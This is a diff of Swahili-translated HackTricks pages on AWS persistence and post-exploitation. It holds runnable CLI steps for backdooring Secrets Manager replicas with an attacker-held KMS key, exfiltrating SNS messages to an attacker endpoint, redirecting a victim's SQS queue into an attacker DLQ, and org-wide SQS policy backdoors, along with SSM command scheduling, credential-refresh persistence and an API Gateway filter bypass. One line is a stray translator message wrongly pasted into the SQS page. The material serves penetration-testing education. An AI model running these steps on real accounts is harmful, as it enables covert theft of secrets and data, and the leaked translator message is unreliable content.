+- Persistent cross-Region access path to the secret value through a standalone replica under an attacker-controlled KMS CMK and permissive resource policy. The primary secret in the original Region is untouched.
+
+- Ushambulizi (CLI)
+- Vars
+```bash
+export R1=<primary-region>   # e.g., us-east-1
+export R2=<replica-region>   # e.g., us-west-2
+export SECRET_ID=<secret name or ARN in R1>
+export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
+```
+1) Unda KMS key inayodhibitiwa na mshambulizi katika replica Region
+```bash
+cat > /tmp/kms_policy.json <<'JSON'
+{"Version":"2012-10-17","Statement":[
+{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
+]}
+JSON
+KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
+--query KeyMetadata.KeyId --output text)
+aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
+# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
+aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
+```
+2) Nakilisha secret kwenye R2 kwa kutumia attacker KMS key
+```bash
+aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
+--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
+aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
+```
+3) Kuinua replica kuwa standalone katika R2
+```bash
+# Use the secret name (same across Regions)
+NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
+aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
+aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
+```
+4) Ambatisha sera ya rasilimali yenye kuruhusu kwenye secret peke yake katika R2
+```bash
+cat > /tmp/replica_policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
+JSON
+aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
+aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
+```
+5) Soma secret kutoka kwa attacker principal katika R2
+```bash
+# Configure attacker credentials and read
+aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
+```
+

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md

@@ -1,77 +0,0 @@
-# AWS - SNS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Persistence
-
-Unapounda **SNS topic** unahitaji kuonyesha kwa sera ya IAM **nani ana ruhusa ya kusoma na kuandika**. Inawezekana kuonyesha akaunti za nje, ARN za majukumu, au **hata "\*"**.\
-Sera ifuatayo inawapa kila mtu katika AWS ruhusa ya kusoma na kuandika katika SNS topic inayoitwa **`MySNS.fifo`**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__default_statement_ID",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"SNS:Publish",
-"SNS:RemovePermission",
-"SNS:SetTopicAttributes",
-"SNS:DeleteTopic",
-"SNS:ListSubscriptionsByTopic",
-"SNS:GetTopicAttributes",
-"SNS:AddPermission",
-"SNS:Subscribe"
-],
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
-"Condition": {
-"StringEquals": {
-"AWS:SourceOwner": "318142138553"
-}
-}
-},
-{
-"Sid": "__console_pub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Publish",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-},
-{
-"Sid": "__console_sub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Subscribe",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-}
-]
-}
-```
-### Unda Wajumbe
-
-Ili kuendelea kutoa ujumbe wote kutoka kwa mada zote, mshambuliaji anaweza **kuunda wajumbe kwa ajili ya mada zote**.
-
-Kumbuka kwamba ikiwa **mada ni ya aina ya FIFO**, ni wajumbe tu wanaotumia protokali **SQS** wanaweza kutumika.
-```bash
-aws sns subscribe --region <region> \
---protocol http \
---notification-endpoint http://<attacker>/ \
---topic-arn <arn>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md

@@ -0,0 +1,114 @@
+# AWS - SNS Uendelevu
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Kwa maelezo zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Uendelevu
+
+Wakati wa kuunda **SNS topic** unahitaji kutaja kwa sera ya IAM **nani ana haki ya kusoma na kuandika**. Inawezekana kutaja akaunti za nje, ARN of roles, au **hata "\*"**.\
+
+Sera ifuatayo inawapa kila mtu ndani ya AWS upatikanaji wa kusoma na kuandika kwenye SNS topic inayoitwa **`MySNS.fifo`**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
+}
+```
+### Unda Subscribers
+
+Ili kuendelea exfiltrating ujumbe wote kutoka kwa topics zote, attacker anaweza **create subscribers for all the topics**.
+
+Kumbuka kwamba ikiwa **topic ni ya aina FIFO**, subscribers wanayotumia protocol **SQS** tu wanaweza kutumika.
+```bash
+aws sns subscribe --region <region> \
+--protocol http \
+--notification-endpoint http://<attacker>/ \
+--topic-arn <arn>
+```
+### Uondoaji wa siri, wa kuchagua kupitia FilterPolicy kwenye MessageBody
+
+Mshambulizi aliye na `sns:Subscribe` na `sns:SetSubscriptionAttributes` kwenye topic anaweza kuunda subscription ya SQS ya kujiweka kwa siri ambayo inatuma mbele ujumbe tu ambao body yake ya JSON inalingana na filter nyembamba sana (kwa mfano, `{"secret":"true"}`). Hii inapunguza wingi na uwezekano wa kugunduliwa huku bado ikiruhusu uondoaji wa siri wa rekodi nyeti.
+
+**Potential Impact**: Uondoaji wa siri, wa kelele ndogo wa ujumbe za SNS zilizolengwa tu kutoka kwenye topic ya mhanga.
+
+Hatua (AWS CLI):
+- Hakikisha policy ya queue ya mshambuliaji ya SQS inaruhusu `sqs:SendMessage` kutoka kwa `TopicArn` ya mhanga (Condition `aws:SourceArn` ni sawa na `TopicArn`).
+- Unda subscription ya SQS kwenye topic:
+
+```bash
+aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
+```
+
+- Weka filter ifanye kazi kwenye message body na ulingane tu `secret=true`:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
+```
+
+- Hiari ya kificho: washa RawMessageDelivery ili tu payload ghafi ifikie mpokeaji:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
+```
+
+- Uthibitisho: chapisha ujumbe mbili na thibitisha kuwa ni wa kwanza tu zile zinazofika kwenye queue ya mshambuliaji. Mfano wa payloads:
+
+```json
+{"secret":"true","data":"exfil"}
+{"secret":"false","data":"benign"}
+```
+
+- Usafishaji: unsubscribe na delete the attacker SQS queue if created for persistence testing.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md

@@ -1,37 +0,0 @@
-# AWS - SQS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### Kutumia sera ya rasilimali
-
-Katika SQS unahitaji kuonyesha kwa sera ya IAM **nani ana ruhusa ya kusoma na kuandika**. Inawezekana kuonyesha akaunti za nje, ARN za majukumu, au **hata "\*"**.\
-Sera ifuatayo inawapa kila mtu katika AWS ruhusa ya kila kitu katika foleni inayoitwa **MyTestQueue**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__owner_statement",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": ["SQS:*"],
-"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
-}
-]
-}
-```
-> [!NOTE]
-> Unaweza hata **kuanzisha Lambda katika akaunti ya washambuliaji kila wakati ujumbe mpya** unapoingizwa kwenye foleni (utahitaji kuingiza tena) kwa njia fulani. Kwa hili fuata maelekezo haya: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md

@@ -0,0 +1,47 @@
+# AWS - SQS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Kwa maelezo zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### Kutumia sera ya rasilimali
+
+Katika SQS unahitaji kuonyesha kwa sera ya IAM **nani ana ruhusa ya kusoma na kuandika**. Inawezekana kuonyesha akaunti za nje, ARN za roles, au **hata "\*"**.\
+Sera ifuatayo inampa kila mtu ndani ya AWS ufikiaji kwa kila kitu katika foleni iitwayo **MyTestQueue**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
+}
+```
+> [!NOTE]
+> Unaweza hata **kuamsha Lambda kwenye akaunti ya mshambuliaji kila wakati ujumbe mpya unaowekwa kwenye queue** (utalazimika kuire-put). Kwa hili fuata maelekezo haya: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+
+### Mbinu Zaidi za SQS Persistence Techniques
+
+{{#ref}}
+aws-sqs-dlq-backdoor-persistence.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-orgid-policy-backdoor.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md

@@ -0,0 +1,71 @@
+# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusa SQS Dead-Letter Queues (DLQs) ili kunyonya data kwa siri kutoka kwenye queue ya chanzo ya mwathiriwa kwa kuelekeza RedrivePolicy yake kwenye queue inayodhibitiwa na mshambuliaji. Kwa maxReceiveCount ndogo na kwa kuchochea au kusubiri kushindwa kwa usindikaji wa kawaida, ujumbe unaelekezwa moja kwa moja kwenye DLQ ya mshambuliaji bila kubadilisha producers au Lambda event source mappings.
+
+## Ruhusa Zilizotumiwa Vibaya
+- sqs:SetQueueAttributes kwenye queue ya chanzo ya mwathiriwa (kuweka RedrivePolicy)
+- sqs:SetQueueAttributes kwenye DLQ ya mshambuliaji (kuweka RedriveAllowPolicy)
+- Hiari kwa kuharakisha: sqs:ReceiveMessage kwenye queue ya chanzo
+- Hiari kwa maandalizi: sqs:CreateQueue, sqs:SendMessage
+
+## Mtiririko wa Akaunti Ile Ile (allowAll)
+
+Maandalizi (akaunti ya mshambuliaji au principal aliyevamiwa):
+```bash
+REGION=us-east-1
+# 1) Create attacker DLQ
+ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
+ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Allow any same-account source queue to use this DLQ
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
+```
+Utekelezaji (endesha kama principal aliyevamiwa katika akaunti ya mwathiriwa):
+```bash
+# 3) Point victim source queue to attacker DLQ with low retries
+VICTIM_SRC_URL=<victim source queue url>
+ATTACKER_DLQ_ARN=<attacker dlq arn>
+aws sqs set-queue-attributes \
+--queue-url "$VICTIM_SRC_URL" --region $REGION \
+--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
+```
+Kuongeza kasi (hiari):
+```bash
+# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
+for i in {1..2}; do \
+aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
+--max-number-of-messages 10 --visibility-timeout 0; \
+done
+```
+I don't have the file content. Please paste the markdown from src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md and I will translate the relevant English text to Swahili following the rules.
+```bash
+# 5) Confirm messages appear in attacker DLQ
+aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--max-number-of-messages 10 --attribute-names All --message-attribute-names All
+```
+Mfano wa ushahidi (Vigezo vinajumuisha DeadLetterQueueSourceArn):
+```json
+{
+"MessageId": "...",
+"Body": "...",
+"Attributes": {
+"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
+}
+}
+```
+## Cross-Account Variant (byQueue)
+Weka RedriveAllowPolicy kwenye attacker DLQ ili kuruhusu tu ARNs maalum za source queue za victim:
+```bash
+VICTIM_SRC_ARN=<victim source queue arn>
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
+```
+## Madhara
+- Data exfiltration/persistence kwa siri na kwa kudumu kwa kupeleka kiotomatiki ujumbe ulioshindwa kutoka kwenye SQS source queue ya mwathirika hadi DLQ inayodhibitiwa na mshambuliaji, na kusababisha kelele ndogo ya kiutendaji na bila mabadiliko kwa producers au Lambda mappings.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md

@@ -0,0 +1,38 @@
+# AWS - SQS OrgID Policy Backdoor
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Tumia vibaya sera ya rasilimali ya SQS queue ili kimya kimya kumruhusu Send, Receive na ChangeMessageVisibility kwa principal yeyote anayehusishwa na target AWS Organization kwa kutumia condition aws:PrincipalOrgID. Hii inaunda njia iliyofichwa iliyo na upeo wa shirika (org-scoped) ambayo mara nyingi huikwepa udhibiti unaotafuta tu ARNs za akaunti au role zilizo wazi au star principals.
+
+### Backdoor policy (ambatisha kwenye sera ya SQS queue)
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OrgScopedBackdoor",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"sqs:ReceiveMessage",
+"sqs:SendMessage",
+"sqs:ChangeMessageVisibility",
+"sqs:GetQueueAttributes"
+],
+"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
+"Condition": {
+"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
+}
+}
+]
+}
+```
+### Hatua
+- Pata Organization ID kwa kutumia AWS Organizations API.
+- Pata SQS queue ARN na weka queue policy ikijumuisha tamko hapo juu.
+- Kutoka kwa principal yeyote anayehusishwa na Organization hiyo, tuma na pokea ujumbe kwenye queue ili kuthibitisha ufikiaji.
+
+### Madhara
+- Ufikiaji uliojificha kwa ngazi ya Organization wa kusoma na kuandika ujumbe za SQS kutoka kwa akaunti yoyote katika AWS Organization iliyotajwa.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md

@@ -1,27 +0,0 @@
-# AWS - SSM Perssitence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
-{{#endref}}
-
-### Kutumia ssm:CreateAssociation kwa ajili ya kudumu
-
-Mshambuliaji mwenye ruhusa **`ssm:CreateAssociation`** anaweza kuunda Mshikamano wa Meneja wa Jimbo ili kutekeleza amri kiotomatiki kwenye mifano ya EC2 inayosimamiwa na SSM. Mshikamano huu unaweza kuwekwa ili kufanyika kwa muda maalum, na kuifanya iweze kutumika kama kudumu kwa njia ya nyuma bila vikao vya mwingiliano.
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> Njia hii ya kudumu inafanya kazi mradi tu EC2 instance inasimamiwa na Systems Manager, SSM agent inafanya kazi, na mshambuliaji ana ruhusa ya kuunda ushirikiano. Haihitaji vikao vya mwingiliano au ruhusa za wazi za ssm:SendCommand. **Muhimu:** Parameta ya `--schedule-expression` (mfano, `rate(30 minutes)`) inapaswa kuheshimu kiwango cha chini cha AWS cha dakika 30. Kwa utekelezaji wa haraka au wa mara moja, acha kabisa `--schedule-expression` — ushirikiano utafanyika mara moja baada ya kuundwa.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md

@@ -0,0 +1,27 @@
+# AWS - SSM Uendelevu
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+Kwa maelezo zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+{{#endref}}
+
+### Kutumia ssm:CreateAssociation kwa uendelevu
+
+Muovu mwenye ruhusa **`ssm:CreateAssociation`** anaweza kuunda State Manager Association ili kutekeleza amri kiotomatiki kwenye EC2 instances zinazosimamiwa na SSM. Associations hizi zinaweza kusanidiwa ziendeshwe kwa kipindi kilichowekwa, na hivyo kufaa kwa uendelevu wa aina ya backdoor bila vikao vya mwingiliano.
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> Njia hii ya kudumu inafanya kazi mradi tu instance ya EC2 inasimamiwa na Systems Manager, SSM agent inakimbia, na mshambuliaji ana ruhusa ya kuunda associations. Haitegemei vikao vya kuingiliana wala idhini za wazi za `ssm:SendCommand`. **Muhimu:** parameter ya `--schedule-expression` (kwa mfano, `rate(30 minutes)`) inapaswa kuzingatia interval ya chini ya AWS ya dakika 30. Kwa utekelezaji wa papo hapo au wa mara moja, acha kabisa `--schedule-expression` — association itaendeshwa mara moja baada ya kuundwa.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md

@@ -1,21 +0,0 @@
-# AWS - Step Functions Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### Backdooring ya hatua
-
-Backdoor hatua ili iweze kufanya ujanja wowote wa kudumu hivyo kila wakati inatekelezwa itatekeleza hatua zako za uhalifu.
-
-### Backdooring ya majina
-
-Ikiwa akaunti ya AWS inatumia majina kuita hatua, itakuwa inawezekana kubadilisha jina ili kutumia toleo jipya lililo na backdoor la hatua hiyo.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md

@@ -0,0 +1,21 @@
+# AWS - Step Functions Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Kwa taarifa zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### Step function Backdooring
+
+Backdoor a step function ili ifanye mbinu yoyote ya persistence, hivyo kila inapotekelezwa itatekeleza hatua zako za uharibifu.
+
+### Backdooring aliases
+
+Ikiwa akaunti ya AWS inatumia aliases kupiga step functions, kutakuwa na uwezekano wa kubadilisha alias ili itumie toleo jipya backdoored la step function.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md

@@ -1,36 +1,36 @@
 # AWS - STS Persistence
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
-Kwa maelezo zaidi, tembelea:
+Kwa taarifa zaidi angalia:
 
 {{#ref}}
-../aws-services/aws-sts-enum.md
+../../aws-services/aws-sts-enum.md
 {{#endref}}
 
 ### Assume role token
 
-Token za muda mfupi hazitaweza kuorodheshwa, hivyo kudumisha token ya muda mfupi iliyo hai ni njia ya kudumisha uvumilivu.
+Temporary tokens haiwezi kuorodheshwa, hivyo kudumisha temporary token inayofanya kazi ni njia ya kudumisha persistence.
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
-# Kwa MFA
+# With MFA
 aws sts get-session-token \
 --serial-number <mfa-device-name> \
 --token-code <code-from-token>
 
-# Jina la kifaa cha vifaa mara nyingi ni nambari kutoka nyuma ya kifaa, kama GAHT12345678
-<strong># Jina la kifaa cha SMS ni ARN katika AWS, kama arn:aws:iam::123456789012:sms-mfa/username
-</strong># Jina la kifaa cha Virtual ni ARN katika AWS, kama arn:aws:iam::123456789012:mfa/username
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 </code></pre>
 
 ### Role Chain Juggling
 
-[**Kufunga majukumu ni kipengele kinachotambulika cha AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), mara nyingi hutumiwa kwa kudumisha uvumilivu wa siri. Inahusisha uwezo wa **kuchukua jukumu ambalo kisha linachukua jingine**, huenda ikarejea kwenye jukumu la awali kwa **njia ya mzunguko**. Kila wakati jukumu linapochukuliwa, uwanja wa muda wa kuisha wa ithibati unarefreshwa. Kwa hivyo, ikiwa majukumu mawili yamewekwa ili kuchukua kila mmoja, mpangilio huu unaruhusu upya wa muda wa ithibati kuwa wa kudumu.
+[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), mara nyingi hutumika katika kudumisha stealth persistence. Inahusisha uwezo wa **assume a role which then assumes another**, na inaweza kurudi kwa role ya awali kwa **cyclical manner**. Kila mara role inapochukuliwa (assumed), uwanja wa muda wa kuisha wa credentials unasasishwa. Kwa hivyo, ikiwa roles mbili zimewekwa ili kuchukua kila mmoja, usanidi huu unaruhusu kuvusea credentials kwa mfululizo.
 
-Unaweza kutumia [**chombo hiki**](https://github.com/hotnops/AWSRoleJuggler/) kudumisha mchakato wa kufunga majukumu:
+Unaweza kutumia [**tool**](https://github.com/hotnops/AWSRoleJuggler/) ili kuendelea na role chaining:
 ```bash
 ./aws_role_juggler.py -h
 usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
@@ -40,11 +40,11 @@ optional arguments:
 -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 > [!CAUTION]
-> Kumbuka kwamba skripti ya [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) kutoka kwenye hifadhi hiyo ya Github haipati njia zote ambazo mnyororo wa jukumu unaweza kuundwa.
+> Kumbuka kwamba [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script kutoka kwenye Github repository hiyo haitambui njia zote ambazo role chain inaweza kusanidiwa.
 
 <details>
 
-<summary>Code to perform Role Juggling from PowerShell</summary>
+<summary>Msimbo wa kufanya Role Juggling kutoka PowerShell</summary>
 ```bash
 # PowerShell script to check for role juggling possibilities using AWS CLI
 
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
 ```
 </details>
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md

@@ -1,132 +0,0 @@
-# AWS - API Gateway Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### Upataji wa APIs zisizo wazi
-
-Unaweza kuunda kiunganishi katika [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) na huduma `com.amazonaws.us-east-1.execute-api`, fungua kiunganishi katika mtandao ambapo una ufikiaji (labda kupitia mashine ya EC2) na piga kundi la usalama linaloruhusu mawasiliano yote.\
-Kisha, kutoka kwa mashine ya EC2 utaweza kufikia kiunganishi na hivyo kuita API ya gateway ambayo haikuwa wazi hapo awali.
-
-### Kupita kupitia mwili wa Ombi
-
-Teknolojia hii ilipatikana katika [**hii CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
-
-Kama ilivyoonyeshwa katika [**nyaraka za AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) katika sehemu ya `PassthroughBehavior`, kwa default, thamani **`WHEN_NO_MATCH`**, wakati wa kuangalia kichwa cha **Content-Type** cha ombi, itapitisha ombi kwa nyuma bila mabadiliko.
-
-Hivyo, katika CTF gateway ya API ilikuwa na kigezo cha uunganisho ambacho kilikuwa **kikizuia bendera kutolewa** katika jibu wakati ombi lilitumwa na `Content-Type: application/json`:
-```yaml
-RequestTemplates:
-application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
-```
-Hata hivyo, kutuma ombi lenye **`Content-type: text/json`** kungesitisha chujio hicho.
-
-Hatimaye, kwa kuwa API Gateway ilikuwa ikiruhusu tu `Get` na `Options`, ilikuwa inawezekana kutuma uchunguzi wa dynamoDB bila kikomo kwa kutuma ombi la POST lenye uchunguzi katika mwili na kutumia kichwa `X-HTTP-Method-Override: GET`:
-```bash
-curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
-```
-### Usage Plans DoS
-
-Katika sehemu ya **Enumeration** unaweza kuona jinsi ya **kupata mpango wa matumizi** wa funguo. Ikiwa una funguo na ime **punguzia** matumizi X **kwa mwezi**, unaweza **kuitumia tu na kusababisha DoS**.
-
-Funguo ya **API** inahitaji tu **kujumuishwa** ndani ya **HTTP header** inayoitwa **`x-api-key`**.
-
-### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-
